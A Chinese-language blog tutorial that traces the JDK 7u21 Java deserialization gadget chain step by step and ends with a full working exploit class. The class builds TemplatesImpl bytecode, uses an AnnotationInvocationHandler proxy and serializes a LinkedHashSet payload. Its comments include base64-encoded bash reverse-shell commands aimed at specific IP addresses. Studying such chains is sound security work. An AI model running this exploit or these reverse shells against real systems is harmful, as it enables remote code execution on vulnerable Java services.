Java反序列化之JDK7u21分析
前言:
之前的分析链子大多都是基于了InvokerTransformer 和 TemplatesImpl这两个类去进行恶意加载或者命令执行,同样在jdk7u21这条链子中同样是用到了TemplatesImpl去实现
环境搭建:
因为这是一条基于java本身版本的链子,所以不需要导入什么依赖,只需要jdk的版本是7u21即可
下载链接:
复现流程:

首先看一下ysoserial里面的链子

我们发现后半部分和我们之前分析的templatesImpl那部分是相同的,只是前半部分不相同,而这次我们发现入口类是LinkedHashSet的父类的HashSet的readobject
断点下到HashSet的readobject里面

然后走到最后跟进put方法

因为table是null,所以会跳过for循环

然后跟到addEntry方法里面

这里看到key就是TemplatesImpl的实例方法,value是一个空的object对象
然后当我们一次一次点步过的时候,会发现第二次还会走到hashmap的put方法这里,但是这次我们会发现table不再是空,这次for循环就可以走进去

走进for循环的话,这时候就会调用key的equals方法,当我们跟进去这个equals方法,发现直接到了AnnotationInvocationHandler的invoke方法,说明这里有动态代理的调用

然后检查调用的方法是否是equals方法,是的话就会调用equalsImpl()方法,跟进去看看

在这里就会经过一连串的invoke调用,最一开始是TemplatesImpl.getOutputProperties(),但到了最后就是newTransformer().getOutputProperties()
然后后面就是简单的动态加载类,最后就能弹计算器了

最后的exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Drunkbaby");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
setFieldValue(templates, "_bytecodes", codes);
String evilHashCode = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap hashMap = new HashMap();
hashMap.put(evilHashCode,"Drunkbaby");
// 下面部分搞动态代理,反射获取 AnnotationInvocationHandler 类,再实例化
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);
// 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(),
new Class[]{Templates.class}, invocationHandler);
// 准备入口类 LinkedHashSet
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
// 将恶意templates设置到map中
hashMap.put(evilHashCode, templates);
serialize(hashSet);
deserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}
tips:
- 为什么evilHashCode的值要设置成f5a5a608?
解决:这是因为TemplatesImpl也就是上面所说的key在hashcode之后的值就是f5a5a608
- 那为什么就必须一样呢?
解决:这是因为在java readobject恢复对象的时候,set对象中是不允许重复的,所以在添加的对象的时候科宁会有一个比较的操作,当两个对象的hashcode值检测到一样的时候就会对key调用equals方法,那这时候如果我们用AnnotationInvocationHandler代理TemplatesImpl,那在调用equals方法并触发invoke方法,这时候就会调用equalsImpl方法,而在这个方法中会遍历type(TemplatesImpl)中的每个方法,这时候就会触发newTransform() 或getOutputProperties()方法导致字节码加载任意代码的执行

浙公网安备 33010602011771号